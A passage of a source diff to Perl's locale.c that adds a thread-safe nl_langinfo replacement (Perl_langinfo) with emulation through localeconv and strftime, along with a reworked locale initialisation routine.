+
+            newlocale = savepv(do_setlocale_c(LC_CTYPE, NULL));
+            new_ctype(newlocale);
+            Safefree(newlocale);
+
+#  endif /* USE_LOCALE_CTYPE */
+#  ifdef USE_LOCALE_COLLATE
+
+            newlocale = savepv(do_setlocale_c(LC_COLLATE, NULL));
+            new_collate(newlocale);
+            Safefree(newlocale);
+
+#  endif
+#  ifdef USE_LOCALE_NUMERIC
+
+            newlocale = savepv(do_setlocale_c(LC_NUMERIC, NULL));
+            new_numeric(newlocale);
+            Safefree(newlocale);
+
+#  endif /* USE_LOCALE_NUMERIC */
+#endif /* LC_ALL */
+
+        default:
+            break;
     }
-#   endif
 
-    result = setlocale(LC_ALL, NULL);
-    DEBUG_L(PerlIO_printf(Perl_debug_log, "%s:%d: %s\n",
-                               __FILE__, __LINE__,
-                               _setlocale_debug_string(LC_ALL, NULL, result)));
+    return retval;
 
-    return result;
 }
 
+PERL_STATIC_INLINE const char *
+S_save_to_buffer(const char * string, char **buf, Size_t *buf_size, const Size_t offset)
+{
+    /* Copy the NUL-terminated 'string' to 'buf' + 'offset'.  'buf' has size 'buf_size',
+     * growing it if necessary */
+
+    Size_t string_size;
+
+    PERL_ARGS_ASSERT_SAVE_TO_BUFFER;
+
+    if (! string) {
+        return NULL;
+    }
+
+    string_size = strlen(string) + offset + 1;
+
+    if (*buf_size == 0) {
+        Newx(*buf, string_size, char);
+        *buf_size = string_size;
+    }
+    else if (string_size > *buf_size) {
+        Renew(*buf, string_size, char);
+        *buf_size = string_size;
+    }
+
+    Copy(string, *buf + offset, string_size - offset, char);
+    return *buf;
+}
+
+/*
+
+=for apidoc Perl_langinfo
+
+This is an (almost) drop-in replacement for the system C<L<nl_langinfo(3)>>,
+taking the same C<item> parameter values, and returning the same information.
+But it is more thread-safe than regular C<nl_langinfo()>, and hides the quirks
+of Perl's locale handling from your code, and can be used on systems that lack
+a native C<nl_langinfo>.
+
+Expanding on these:
+
+=over
+
+=item *
+
+The reason it isn't quite a drop-in replacement is actually an advantage.  The
+only difference is that it returns S<C<const char *>>, whereas plain
+C<nl_langinfo()> returns S<C<char *>>, but you are (only by documentation)
+forbidden to write into the buffer.  By declaring this C<const>, the compiler
+enforces this restriction, so if it is violated, you know at compilation time,
+rather than getting segfaults at runtime.
+
+=item *
+
+It delivers the correct results for the C<RADIXCHAR> and C<THOUSEP> items,
+without you having to write extra code.  The reason for the extra code would be
+because these are from the C<LC_NUMERIC> locale category, which is normally
+kept set by Perl so that the radix is a dot, and the separator is the empty
+string, no matter what the underlying locale is supposed to be, and so to get
+the expected results, you have to temporarily toggle into the underlying
+locale, and later toggle back.  (You could use plain C<nl_langinfo> and
+C<L</STORE_LC_NUMERIC_FORCE_TO_UNDERLYING>> for this but then you wouldn't get
+the other advantages of C<Perl_langinfo()>; not keeping C<LC_NUMERIC> in the C
+(or equivalent) locale would break a lot of CPAN, which is expecting the radix
+(decimal point) character to be a dot.)
+
+=item *
+
+The system function it replaces can have its static return buffer trashed,
+not only by a subesequent call to that function, but by a C<freelocale>,
+C<setlocale>, or other locale change.  The returned buffer of this function is
+not changed until the next call to it, so the buffer is never in a trashed
+state.
+
+=item *
+
+Its return buffer is per-thread, so it also is never overwritten by a call to
+this function from another thread;  unlike the function it replaces.
+
+=item *
+
+But most importantly, it works on systems that don't have C<nl_langinfo>, such
+as Windows, hence makes your code more portable.  Of the fifty-some possible
+items specified by the POSIX 2008 standard,
+L<http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/langinfo.h.html>,
+only one is completely unimplemented, though on non-Windows platforms, another
+significant one is also not implemented).  It uses various techniques to
+recover the other items, including calling C<L<localeconv(3)>>, and
+C<L<strftime(3)>>, both of which are specified in C89, so should be always be
+available.  Later C<strftime()> versions have additional capabilities; C<""> is
+returned for those not available on your system.
+
+It is important to note that when called with an item that is recovered by
+using C<localeconv>, the buffer from any previous explicit call to
+C<localeconv> will be overwritten.  This means you must save that buffer's
+contents if you need to access them after a call to this function.  (But note
+that you might not want to be using C<localeconv()> directly anyway, because of
+issues like the ones listed in the second item of this list (above) for
+C<RADIXCHAR> and C<THOUSEP>.  You can use the methods given in L<perlcall> to
+call L<POSIX/localeconv> and avoid all the issues, but then you have a hash to
+unpack).
+
+The details for those items which may deviate from what this emulation returns
+and what a native C<nl_langinfo()> would return are specified in
+L<I18N::Langinfo>.
+
+=back
+
+When using C<Perl_langinfo> on systems that don't have a native
+C<nl_langinfo()>, you must
+
+ #include "perl_langinfo.h"
+
+before the C<perl.h> C<#include>.  You can replace your C<langinfo.h>
+C<#include> with this one.  (Doing it this way keeps out the symbols that plain
+C<langinfo.h> would try to import into the namespace for code that doesn't need
+it.)
+
+The original impetus for C<Perl_langinfo()> was so that code that needs to
+find out the current currency symbol, floating point radix character, or digit
+grouping separator can use, on all systems, the simpler and more
+thread-friendly C<nl_langinfo> API instead of C<L<localeconv(3)>> which is a
+pain to make thread-friendly.  For other fields returned by C<localeconv>, it
+is better to use the methods given in L<perlcall> to call
+L<C<POSIX::localeconv()>|POSIX/localeconv>, which is thread-friendly.
+
+=cut
+
+*/
+
+const char *
+#ifdef HAS_NL_LANGINFO
+Perl_langinfo(const nl_item item)
+#else
+Perl_langinfo(const int item)
 #endif
+{
+    return my_nl_langinfo(item, TRUE);
+}
 
+STATIC const char *
+#ifdef HAS_NL_LANGINFO
+S_my_nl_langinfo(const nl_item item, bool toggle)
+#else
+S_my_nl_langinfo(const int item, bool toggle)
+#endif
+{
+    dTHX;
+    const char * retval;
 
+    /* We only need to toggle into the underlying LC_NUMERIC locale for these
+     * two items, and only if not already there */
+    if (toggle && ((   item != RADIXCHAR && item != THOUSEP)
+                    || PL_numeric_underlying))
+    {
+        toggle = FALSE;
+    }
+
+#if defined(HAS_NL_LANGINFO) /* nl_langinfo() is available.  */
+#  if   ! defined(HAS_THREAD_SAFE_NL_LANGINFO_L)      \
+     || ! defined(HAS_POSIX_2008_LOCALE)              \
+     || ! defined(DUPLOCALE)
+
+    /* Here, use plain nl_langinfo(), switching to the underlying LC_NUMERIC
+     * for those items dependent on it.  This must be copied to a buffer before
+     * switching back, as some systems destroy the buffer when setlocale() is
+     * called */
+
+    {
+        DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+
+        if (toggle) {
+            STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
+        }
+
+        LOCALE_LOCK;    /* Prevent interference from another thread executing
+                           this code section (the only call to nl_langinfo in
+                           the core) */
+
+
+        /* Copy to a per-thread buffer, which is also one that won't be
+         * destroyed by a subsequent setlocale(), such as the
+         * RESTORE_LC_NUMERIC may do just below. */
+        retval = save_to_buffer(nl_langinfo(item),
+                                &PL_langinfo_buf, &PL_langinfo_bufsize, 0);
+
+        LOCALE_UNLOCK;
+
+        if (toggle) {
+            RESTORE_LC_NUMERIC();
+        }
+    }
+
+#  else /* Use nl_langinfo_l(), avoiding both a mutex and changing the locale */
+
+    {
+        bool do_free = FALSE;
+        locale_t cur = uselocale((locale_t) 0);
+
+        if (cur == LC_GLOBAL_LOCALE) {
+            cur = duplocale(LC_GLOBAL_LOCALE);
+            do_free = TRUE;
+        }
+
+        if (toggle) {
+            if (PL_underlying_numeric_obj) {
+                cur = PL_underlying_numeric_obj;
+            }
+            else {
+                cur = newlocale(LC_NUMERIC_MASK, PL_numeric_name, cur);
+                do_free = TRUE;
+            }
+        }
+
+        /* We have to save it to a buffer, because the freelocale() just below
+         * can invalidate the internal one */
+        retval = save_to_buffer(nl_langinfo_l(item, cur),
+                                &PL_langinfo_buf, &PL_langinfo_bufsize, 0);
+
+        if (do_free) {
+            freelocale(cur);
+        }
+    }
+
+#  endif
+
+    if (strEQ(retval, "")) {
+        if (item == YESSTR) {
+            return "yes";
+        }
+        if (item == NOSTR) {
+            return "no";
+        }
+    }
+
+    return retval;
+
+#else   /* Below, emulate nl_langinfo as best we can */
+
+    {
+
+#  ifdef HAS_LOCALECONV
+
+        const struct lconv* lc;
+        const char * temp;
+        DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+
+#    ifdef TS_W32_BROKEN_LOCALECONV
+
+        const char * save_global;
+        const char * save_thread;
+        int needed_size;
+        char * ptr;
+        char * e;
+        char * item_start;
+
+#    endif
+#  endif
+#  ifdef HAS_STRFTIME
+
+        struct tm tm;
+        bool return_format = FALSE; /* Return the %format, not the value */
+        const char * format;
+
+#  endif
+
+        /* We copy the results to a per-thread buffer, even if not
+         * multi-threaded.  This is in part to simplify this code, and partly
+         * because we need a buffer anyway for strftime(), and partly because a
+         * call of localeconv() could otherwise wipe out the buffer, and the
+         * programmer would not be expecting this, as this is a nl_langinfo()
+         * substitute after all, so s/he might be thinking their localeconv()
+         * is safe until another localeconv() call. */
+
+        switch (item) {
+            Size_t len;
+
+            /* This is unimplemented */
+            case ERA:      /* For use with strftime() %E modifier */
+
+            default:
+                return "";
+
+            /* We use only an English set, since we don't know any more */
+            case YESEXPR:   return "^[+1yY]";
+            case YESSTR:    return "yes";
+            case NOEXPR:    return "^[-0nN]";
+            case NOSTR:     return "no";
+
+            case CODESET:
+
+#  ifndef WIN32
+
+                /* On non-windows, this is unimplemented, in part because of
+                 * inconsistencies between vendors.  The Darwin native
+                 * nl_langinfo() implementation simply looks at everything past
+                 * any dot in the name, but that doesn't work for other
+                 * vendors.  Many Linux locales that don't have UTF-8 in their
+                 * names really are UTF-8, for example; z/OS locales that do
+                 * have UTF-8 in their names, aren't really UTF-8 */
+                return "";
+
+#  else
+
+                {   /* But on Windows, the name does seem to be consistent, so
+                       use that. */
+                    const char * p;
+                    const char * first;
+                    Size_t offset = 0;
+                    const char * name = my_setlocale(LC_CTYPE, NULL);
+
+                    if (isNAME_C_OR_POSIX(name)) {
+                        return "ANSI_X3.4-1968";
+                    }
+
+                    /* Find the dot in the locale name */
+                    first = (const char *) strchr(name, '.');
+                    if (! first) {
+                        first = name;
+                        goto has_nondigit;
+                    }
+
+                    /* Look at everything past the dot */
+                    first++;
+                    p = first;
+
+                    while (*p) {
+                        if (! isDIGIT(*p)) {
+                            goto has_nondigit;
+                        }
+
+                        p++;
+                    }
+
+                    /* Here everything past the dot is a digit.  Treat it as a
+                     * code page */
+                    retval = save_to_buffer("CP", &PL_langinfo_buf,
+                                                &PL_langinfo_bufsize, 0);
+                    offset = STRLENs("CP");
+
+                  has_nondigit:
+
+                    retval = save_to_buffer(first, &PL_langinfo_buf,
+                                            &PL_langinfo_bufsize, offset);
+                }
+
+                break;
+
+#  endif
+#  ifdef HAS_LOCALECONV
+
+            case CRNCYSTR:
+
+                /* We don't bother with localeconv_l() because any system that
+                 * has it is likely to also have nl_langinfo() */
+
+                LOCALE_LOCK_V;    /* Prevent interference with other threads
+                                     using localeconv() */
+
+#    ifdef TS_W32_BROKEN_LOCALECONV
+
+                /* This is a workaround for a Windows bug prior to VS 15.
+                 * What we do here is, while locked, switch to the global
+                 * locale so localeconv() works; then switch back just before
+                 * the unlock.  This can screw things up if some thread is
+                 * already using the global locale while assuming no other is.
+                 * A different workaround would be to call GetCurrencyFormat on
+                 * a known value, and parse it; patches welcome
+                 *
+                 * We have to use LC_ALL instead of LC_MONETARY because of
+                 * another bug in Windows */
+
+                save_thread = savepv(my_setlocale(LC_ALL, NULL));
+                _configthreadlocale(_DISABLE_PER_THREAD_LOCALE);
+                save_global= savepv(my_setlocale(LC_ALL, NULL));
+                my_setlocale(LC_ALL, save_thread);
+
+#    endif
+
+                lc = localeconv();
+                if (   ! lc
+                    || ! lc->currency_symbol
+                    || strEQ("", lc->currency_symbol))
+                {
+                    LOCALE_UNLOCK_V;
+                    return "";
+                }
+
+                /* Leave the first spot empty to be filled in below */
+                retval = save_to_buffer(lc->currency_symbol, &PL_langinfo_buf,
+                                        &PL_langinfo_bufsize, 1);
+                if (lc->mon_decimal_point && strEQ(lc->mon_decimal_point, ""))
+                { /*  khw couldn't figure out how the localedef specifications
+                      would show that the $ should replace the radix; this is
+                      just a guess as to how it might work.*/
+                    PL_langinfo_buf[0] = '.';
+                }
+                else if (lc->p_cs_precedes) {
+                    PL_langinfo_buf[0] = '-';
+                }
+                else {
+                    PL_langinfo_buf[0] = '+';
+                }
+
+#    ifdef TS_W32_BROKEN_LOCALECONV
+
+                my_setlocale(LC_ALL, save_global);
+                _configthreadlocale(_ENABLE_PER_THREAD_LOCALE);
+                my_setlocale(LC_ALL, save_thread);
+                Safefree(save_global);
+                Safefree(save_thread);
+
+#    endif
+
+                LOCALE_UNLOCK_V;
+                break;
+
+#    ifdef TS_W32_BROKEN_LOCALECONV
+
+            case RADIXCHAR:
+
+                /* For this, we output a known simple floating point number to
+                 * a buffer, and parse it, looking for the radix */
+
+                if (toggle) {
+                    STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
+                }
+
+                if (PL_langinfo_bufsize < 10) {
+                    PL_langinfo_bufsize = 10;
+                    Renew(PL_langinfo_buf, PL_langinfo_bufsize, char);
+                }
+
+                needed_size = my_snprintf(PL_langinfo_buf, PL_langinfo_bufsize,
+                                          "%.1f", 1.5);
+                if (needed_size >= (int) PL_langinfo_bufsize) {
+                    PL_langinfo_bufsize = needed_size + 1;
+                    Renew(PL_langinfo_buf, PL_langinfo_bufsize, char);
+                    needed_size = my_snprintf(PL_langinfo_buf, PL_langinfo_bufsize,
+                                             "%.1f", 1.5);
+                    assert(needed_size < (int) PL_langinfo_bufsize);
+                }
+
+                ptr = PL_langinfo_buf;
+                e = PL_langinfo_buf + PL_langinfo_bufsize;
+
+                /* Find the '1' */
+                while (ptr < e && *ptr != '1') {
+                    ptr++;
+                }
+                ptr++;
+
+                /* Find the '5' */
+                item_start = ptr;
+                while (ptr < e && *ptr != '5') {
+                    ptr++;
+                }
+
+                /* Everything in between is the radix string */
+                if (ptr >= e) {
+                    PL_langinfo_buf[0] = '?';
+                    PL_langinfo_buf[1] = '\0';
+                }
+                else {
+                    *ptr = '\0';
+                    Move(item_start, PL_langinfo_buf, ptr - PL_langinfo_buf, char);
+                }
+
+                if (toggle) {
+                    RESTORE_LC_NUMERIC();
+                }
+
+                retval = PL_langinfo_buf;
+                break;
+
+#    else
+
+            case RADIXCHAR:     /* No special handling needed */
+
+#    endif
+
+            case THOUSEP:
+
+                if (toggle) {
+                    STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
+                }
+
+                LOCALE_LOCK_V;    /* Prevent interference with other threads
+                                     using localeconv() */
+
+#    ifdef TS_W32_BROKEN_LOCALECONV
+
+                /* This should only be for the thousands separator.  A
+                 * different work around would be to use GetNumberFormat on a
+                 * known value and parse the result to find the separator */
+                save_thread = savepv(my_setlocale(LC_ALL, NULL));
+                _configthreadlocale(_DISABLE_PER_THREAD_LOCALE);
+                save_global = savepv(my_setlocale(LC_ALL, NULL));
+                my_setlocale(LC_ALL, save_thread);
+#      if 0
+                /* This is the start of code that for broken Windows replaces
+                 * the above and below code, and instead calls
+                 * GetNumberFormat() and then would parse that to find the
+                 * thousands separator.  It needs to handle UTF-16 vs -8
+                 * issues. */
+
+                needed_size = GetNumberFormatEx(PL_numeric_name, 0, "1234.5", NULL, PL_langinfo_buf, PL_langinfo_bufsize);
+                DEBUG_L(PerlIO_printf(Perl_debug_log,
+                    "%s: %d: return from GetNumber, count=%d, val=%s\n",
+                    __FILE__, __LINE__, needed_size, PL_langinfo_buf));
+
+#      endif
+#    endif
+
+                lc = localeconv();
+                if (! lc) {
+                    temp = "";
+                }
+                else {
+                    temp = (item == RADIXCHAR)
+                             ? lc->decimal_point
+                             : lc->thousands_sep;
+                    if (! temp) {
+                        temp = "";
+                    }
+                }
+
+                retval = save_to_buffer(temp, &PL_langinfo_buf,
+                                        &PL_langinfo_bufsize, 0);
+
+#    ifdef TS_W32_BROKEN_LOCALECONV
+
+                my_setlocale(LC_ALL, save_global);
+                _configthreadlocale(_ENABLE_PER_THREAD_LOCALE);
+                my_setlocale(LC_ALL, save_thread);
+                Safefree(save_global);
+                Safefree(save_thread);
+
+#    endif
+
+                LOCALE_UNLOCK_V;
+
+                if (toggle) {
+                    RESTORE_LC_NUMERIC();
+                }
+
+                break;
+
+#  endif
+#  ifdef HAS_STRFTIME
+
+            /* These are defined by C89, so we assume that strftime supports
+             * them, and so are returned unconditionally; they may not be what
+             * the locale actually says, but should give good enough results
+             * for someone using them as formats (as opposed to trying to parse
+             * them to figure out what the locale says).  The other format
+             * items are actually tested to verify they work on the platform */
+            case D_FMT:         return "%x";
+            case T_FMT:         return "%X";
+            case D_T_FMT:       return "%c";
+
+            /* These formats are only available in later strfmtime's */
+            case ERA_D_FMT: case ERA_T_FMT: case ERA_D_T_FMT: case T_FMT_AMPM:
+
+            /* The rest can be gotten from most versions of strftime(). */
+            case ABDAY_1: case ABDAY_2: case ABDAY_3:
+            case ABDAY_4: case ABDAY_5: case ABDAY_6: case ABDAY_7:
+            case ALT_DIGITS:
+            case AM_STR: case PM_STR:
+            case ABMON_1: case ABMON_2: case ABMON_3: case ABMON_4:
+            case ABMON_5: case ABMON_6: case ABMON_7: case ABMON_8:
+            case ABMON_9: case ABMON_10: case ABMON_11: case ABMON_12:
+            case DAY_1: case DAY_2: case DAY_3: case DAY_4:
+            case DAY_5: case DAY_6: case DAY_7:
+            case MON_1: case MON_2: case MON_3: case MON_4:
+            case MON_5: case MON_6: case MON_7: case MON_8:
+            case MON_9: case MON_10: case MON_11: case MON_12:
+
+                LOCALE_LOCK;
+
+                init_tm(&tm);   /* Precaution against core dumps */
+                tm.tm_sec = 30;
+                tm.tm_min = 30;
+                tm.tm_hour = 6;
+                tm.tm_year = 2017 - 1900;
+                tm.tm_wday = 0;
+                tm.tm_mon = 0;
+                switch (item) {
+                    default:
+                        LOCALE_UNLOCK;
+                        Perl_croak(aTHX_
+                                    "panic: %s: %d: switch case: %d problem",
+                                       __FILE__, __LINE__, item);
+                        NOT_REACHED; /* NOTREACHED */
+
+                    case PM_STR: tm.tm_hour = 18;
+                    case AM_STR:
+                        format = "%p";
+                        break;
+
+                    case ABDAY_7: tm.tm_wday++;
+                    case ABDAY_6: tm.tm_wday++;
+                    case ABDAY_5: tm.tm_wday++;
+                    case ABDAY_4: tm.tm_wday++;
+                    case ABDAY_3: tm.tm_wday++;
+                    case ABDAY_2: tm.tm_wday++;
+                    case ABDAY_1:
+                        format = "%a";
+                        break;
+
+                    case DAY_7: tm.tm_wday++;
+                    case DAY_6: tm.tm_wday++;
+                    case DAY_5: tm.tm_wday++;
+                    case DAY_4: tm.tm_wday++;
+                    case DAY_3: tm.tm_wday++;
+                    case DAY_2: tm.tm_wday++;
+                    case DAY_1:
+                        format = "%A";
+                        break;
+
+                    case ABMON_12: tm.tm_mon++;
+                    case ABMON_11: tm.tm_mon++;
+                    case ABMON_10: tm.tm_mon++;
+                    case ABMON_9: tm.tm_mon++;
+                    case ABMON_8: tm.tm_mon++;
+                    case ABMON_7: tm.tm_mon++;
+                    case ABMON_6: tm.tm_mon++;
+                    case ABMON_5: tm.tm_mon++;
+                    case ABMON_4: tm.tm_mon++;
+                    case ABMON_3: tm.tm_mon++;
+                    case ABMON_2: tm.tm_mon++;
+                    case ABMON_1:
+                        format = "%b";
+                        break;
+
+                    case MON_12: tm.tm_mon++;
+                    case MON_11: tm.tm_mon++;
+                    case MON_10: tm.tm_mon++;
+                    case MON_9: tm.tm_mon++;
+                    case MON_8: tm.tm_mon++;
+                    case MON_7: tm.tm_mon++;
+                    case MON_6: tm.tm_mon++;
+                    case MON_5: tm.tm_mon++;
+                    case MON_4: tm.tm_mon++;
+                    case MON_3: tm.tm_mon++;
+                    case MON_2: tm.tm_mon++;
+                    case MON_1:
+                        format = "%B";
+                        break;
+
+                    case T_FMT_AMPM:
+                        format = "%r";
+                        return_format = TRUE;
+                        break;
+
+                    case ERA_D_FMT:
+                        format = "%Ex";
+                        return_format = TRUE;
+                        break;
+
+                    case ERA_T_FMT:
+                        format = "%EX";
+                        return_format = TRUE;
+                        break;
+
+                    case ERA_D_T_FMT:
+                        format = "%Ec";
+                        return_format = TRUE;
+                        break;
+
+                    case ALT_DIGITS:
+                        tm.tm_wday = 0;
+                        format = "%Ow";	/* Find the alternate digit for 0 */
+                        break;
+                }
+
+                /* We can't use my_strftime() because it doesn't look at
+                 * tm_wday  */
+                while (0 == strftime(PL_langinfo_buf, PL_langinfo_bufsize,
+                                     format, &tm))
+                {
+                    /* A zero return means one of:
+                     *  a)  there wasn't enough space in PL_langinfo_buf
+                     *  b)  the format, like a plain %p, returns empty
+                     *  c)  it was an illegal format, though some
+                     *      implementations of strftime will just return the
+                     *      illegal format as a plain character sequence.
+                     *
+                     *  To quickly test for case 'b)', try again but precede
+                     *  the format with a plain character.  If that result is
+                     *  still empty, the problem is either 'a)' or 'c)' */
+
+                    Size_t format_size = strlen(format) + 1;
+                    Size_t mod_size = format_size + 1;
+                    char * mod_format;
+                    char * temp_result;
+
+                    Newx(mod_format, mod_size, char);
+                    Newx(temp_result, PL_langinfo_bufsize, char);
+                    *mod_format = ' ';
+                    my_strlcpy(mod_format + 1, format, mod_size);
+                    len = strftime(temp_result,
+                                   PL_langinfo_bufsize,
+                                   mod_format, &tm);
+                    Safefree(mod_format);
+                    Safefree(temp_result);
+
+                    /* If 'len' is non-zero, it means that we had a case like
+                     * %p which means the current locale doesn't use a.m. or
+                     * p.m., and that is valid */
+                    if (len == 0) {
+
+                        /* Here, still didn't work.  If we get well beyond a
+                         * reasonable size, bail out to prevent an infinite
+                         * loop. */
+
+                        if (PL_langinfo_bufsize > 100 * format_size) {
+                            *PL_langinfo_buf = '\0';
+                        }
+                        else {
+                            /* Double the buffer size to retry;  Add 1 in case
+                             * original was 0, so we aren't stuck at 0.  */
+                            PL_langinfo_bufsize *= 2;
+                            PL_langinfo_bufsize++;
+                            Renew(PL_langinfo_buf, PL_langinfo_bufsize, char);
+                            continue;
+                        }
+                    }
+
+                    break;
+                }
+
+                /* Here, we got a result.
+                 *
+                 * If the item is 'ALT_DIGITS', PL_langinfo_buf contains the
+                 * alternate format for wday 0.  If the value is the same as
+                 * the normal 0, there isn't an alternate, so clear the buffer.
+                 * */
+                if (   item == ALT_DIGITS
+                    && strEQ(PL_langinfo_buf, "0"))
+                {
+                    *PL_langinfo_buf = '\0';
+                }
+
+                /* ALT_DIGITS is problematic.  Experiments on it showed that
+                 * strftime() did not always work properly when going from
+                 * alt-9 to alt-10.  Only a few locales have this item defined,
+                 * and in all of them on Linux that khw was able to find,
+                 * nl_langinfo() merely returned the alt-0 character, possibly
+                 * doubled.  Most Unicode digits are in blocks of 10
+                 * consecutive code points, so that is sufficient information
+                 * for those scripts, as we can infer alt-1, alt-2, ....  But
+                 * for a Japanese locale, a CJK ideographic 0 is returned, and
+                 * the CJK digits are not in code point order, so you can't
+                 * really infer anything.  The localedef for this locale did
+                 * specify the succeeding digits, so that strftime() works
+                 * properly on them, without needing to infer anything.  But
+                 * the nl_langinfo() return did not give sufficient information
+                 * for the caller to understand what's going on.  So until
+                 * there is evidence that it should work differently, this
+                 * returns the alt-0 string for ALT_DIGITS.
+                 *
+                 * wday was chosen because its range is all a single digit.
+                 * Things like tm_sec have two digits as the minimum: '00' */
+
+                LOCALE_UNLOCK;
+
+                retval = PL_langinfo_buf;
+
+                /* If to return the format, not the value, overwrite the buffer
+                 * with it.  But some strftime()s will keep the original format
+                 * if illegal, so change those to "" */
+                if (return_format) {
+                    if (strEQ(PL_langinfo_buf, format)) {
+                        *PL_langinfo_buf = '\0';
+                    }
+                    else {
+                        retval = save_to_buffer(format, &PL_langinfo_buf,
+                                                &PL_langinfo_bufsize, 0);
+                    }
+                }
+
+                break;
+
+#  endif
+
+        }
+    }
+
+    return retval;
+
+#endif
+
+}
+
 /*
  * Initialize locale awareness.
  */
@@ -887,9 +3090,10 @@
      * it.  We look at, in order, LC_ALL, LANG, a system default locale (if we
      * think there is one), and the ultimate fallback "C".  This is all done in
      * the same loop as above to avoid duplicating code, but it makes things
-     * more complex.  After the original failure, we add the fallback
-     * possibilities to the list of locales to try, and iterate the loop
-     * through them all until one succeeds.
+     * more complex.  The 'trial_locales' array is initialized with just one
+     * element; it causes the behavior described in the paragraph above this to
+     * happen.  If that fails, we add elements to 'trial_locales', and do extra
+     * loop iterations to cause the behavior described in this paragraph.
      *
      * On Ultrix, the locale MUST come from the environment, so there is
      * preliminary code to set it.  I (khw) am not sure that it is necessary,
@@ -911,20 +3115,17 @@
 
     int ok = 1;
 
-#if defined(USE_LOCALE)
-#ifdef USE_LOCALE_CTYPE
-    char *curctype   = NULL;
-#endif /* USE_LOCALE_CTYPE */
-#ifdef USE_LOCALE_COLLATE
-    char *curcoll    = NULL;
-#endif /* USE_LOCALE_COLLATE */
-#ifdef USE_LOCALE_NUMERIC
-    char *curnum     = NULL;
-#endif /* USE_LOCALE_NUMERIC */
-#ifdef __GLIBC__
+#ifndef USE_LOCALE
+
+    PERL_UNUSED_ARG(printwarn);
+
+#else  /* USE_LOCALE */
+#  ifdef __GLIBC__
+
     const char * const language   = savepv(PerlEnv_getenv("LANGUAGE"));
-#endif
 
+#  endif
+
     /* NULL uses the existing already set up locale */
     const char * const setlocale_init = (PerlEnv_getenv("PERL_SKIP_LOCALE_INIT"))
                                         ? NULL
@@ -935,126 +3136,215 @@
     const char * const lang       = savepv(PerlEnv_getenv("LANG"));
     bool setlocale_failure = FALSE;
     unsigned int i;
-    char *p;
 
     /* A later getenv() could zap this, so only use here */
     const char * const bad_lang_use_once = PerlEnv_getenv("PERL_BADLANG");
 
     const bool locwarn = (printwarn > 1
-                          || (printwarn
-                              && (! bad_lang_use_once
+                          || (          printwarn
+                              && (    ! bad_lang_use_once
                                   || (
-                                    /* disallow with "" or "0" */
-                                    *bad_lang_use_once
-                                    && strNE("0", bad_lang_use_once)))));
-    bool done = FALSE;
-    char * sl_result;   /* return from setlocale() */
-    char * locale_param;
-#ifdef WIN32
+                                         /* disallow with "" or "0" */
+                                         *bad_lang_use_once
+                                       && strNE("0", bad_lang_use_once)))));
+
+    /* setlocale() return vals; not copied so must be looked at immediately */
+    const char * sl_result[NOMINAL_LC_ALL_INDEX + 1];
+
+    /* current locale for given category; should have been copied so aren't
+     * volatile */
+    const char * curlocales[NOMINAL_LC_ALL_INDEX + 1];
+
+#  ifdef WIN32
+
     /* In some systems you can find out the system default locale
      * and use that as the fallback locale. */
-#   define SYSTEM_DEFAULT_LOCALE
-#endif
-#ifdef SYSTEM_DEFAULT_LOCALE
+#    define SYSTEM_DEFAULT_LOCALE
+#  endif
+#  ifdef SYSTEM_DEFAULT_LOCALE
+
     const char *system_default_locale = NULL;
-#endif
 
-#ifdef DEBUGGING
+#  endif
+
+#  ifndef DEBUGGING
+#    define DEBUG_LOCALE_INIT(a,b,c)
+#  else
+
     DEBUG_INITIALIZATION_set(cBOOL(PerlEnv_getenv("PERL_DEBUG_LOCALE_INIT")));
-#   define DEBUG_LOCALE_INIT(category, locale, result)                      \
+
+#    define DEBUG_LOCALE_INIT(category, locale, result)                     \
 	STMT_START {                                                        \
 		if (debug_initialization) {                                 \
                     PerlIO_printf(Perl_debug_log,                           \
                                   "%s:%d: %s\n",                            \
                                   __FILE__, __LINE__,                       \
-                                  _setlocale_debug_string(category,         \
+                                  setlocale_debug_string(category,          \
                                                           locale,           \
                                                           result));         \
                 }                                                           \
 	} STMT_END
-#else
-#   define DEBUG_LOCALE_INIT(a,b,c)
-#endif
 
-#ifndef LOCALE_ENVIRON_REQUIRED
-    PERL_UNUSED_VAR(done);
-    PERL_UNUSED_VAR(locale_param);
-#else
+/* Make sure the parallel arrays are properly set up */
+#    ifdef USE_LOCALE_NUMERIC
+    assert(categories[LC_NUMERIC_INDEX] == LC_NUMERIC);
+    assert(strEQ(category_names[LC_NUMERIC_INDEX], "LC_NUMERIC"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_NUMERIC_INDEX] == LC_NUMERIC_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_CTYPE
+    assert(categories[LC_CTYPE_INDEX] == LC_CTYPE);
+    assert(strEQ(category_names[LC_CTYPE_INDEX], "LC_CTYPE"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_CTYPE_INDEX] == LC_CTYPE_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_COLLATE
+    assert(categories[LC_COLLATE_INDEX] == LC_COLLATE);
+    assert(strEQ(category_names[LC_COLLATE_INDEX], "LC_COLLATE"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_COLLATE_INDEX] == LC_COLLATE_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_TIME
+    assert(categories[LC_TIME_INDEX] == LC_TIME);
+    assert(strEQ(category_names[LC_TIME_INDEX], "LC_TIME"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_TIME_INDEX] == LC_TIME_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_MESSAGES
+    assert(categories[LC_MESSAGES_INDEX] == LC_MESSAGES);
+    assert(strEQ(category_names[LC_MESSAGES_INDEX], "LC_MESSAGES"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_MESSAGES_INDEX] == LC_MESSAGES_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_MONETARY
+    assert(categories[LC_MONETARY_INDEX] == LC_MONETARY);
+    assert(strEQ(category_names[LC_MONETARY_INDEX], "LC_MONETARY"));
+#      ifdef USE_POSIX_2008_LOCALE
+    assert(category_masks[LC_MONETARY_INDEX] == LC_MONETARY_MASK);
+#      endif
+#    endif
+#    ifdef USE_LOCALE_ADDRESS
+    assert(categories[LC_ADDRESS_INDEX] == LC_ADDRESS);
